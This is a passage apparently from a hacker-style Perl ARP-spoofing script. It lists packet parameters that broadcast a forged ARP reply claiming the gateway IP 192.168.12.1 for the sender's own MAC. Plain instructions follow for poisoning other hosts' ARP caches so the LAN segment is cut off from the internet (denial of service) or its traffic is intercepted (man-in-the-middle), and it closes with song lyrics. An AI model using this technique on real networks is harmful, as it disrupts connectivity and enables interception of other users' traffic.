'eth0', # Device
'192.168.12.1', # Source IP (my
'192.168.12.255', # Destination IP
'00:1E:EC:9F:DB:67', # Source MAC
'FF:FF:FF:FF:FF:FF', # Destinaton MAC
'reply' # ARP operation
print "packet sent\n";
map a totally working IP to a non-existent MAC or your own MAC in this
+ case am using my own MAC
and broadcast it
the IP can be of the default gateway (192.168.12.1 in this case)
the other systems ARP caches will update themselves every 5 seconds.
the update would tell them the false MAC address of the gateway and
the data sent will be dumped and it will cause a DoS on the network.
since the MAC is non-existing therefore the LAN segment will be cut of
from the internet, if the MAC is our own then we can attempt a
man-in-the-middle attack or again cause a DoS
i'am worst at what do best and for this gift i fell blessed...
i found it hard it's hard to find well whatever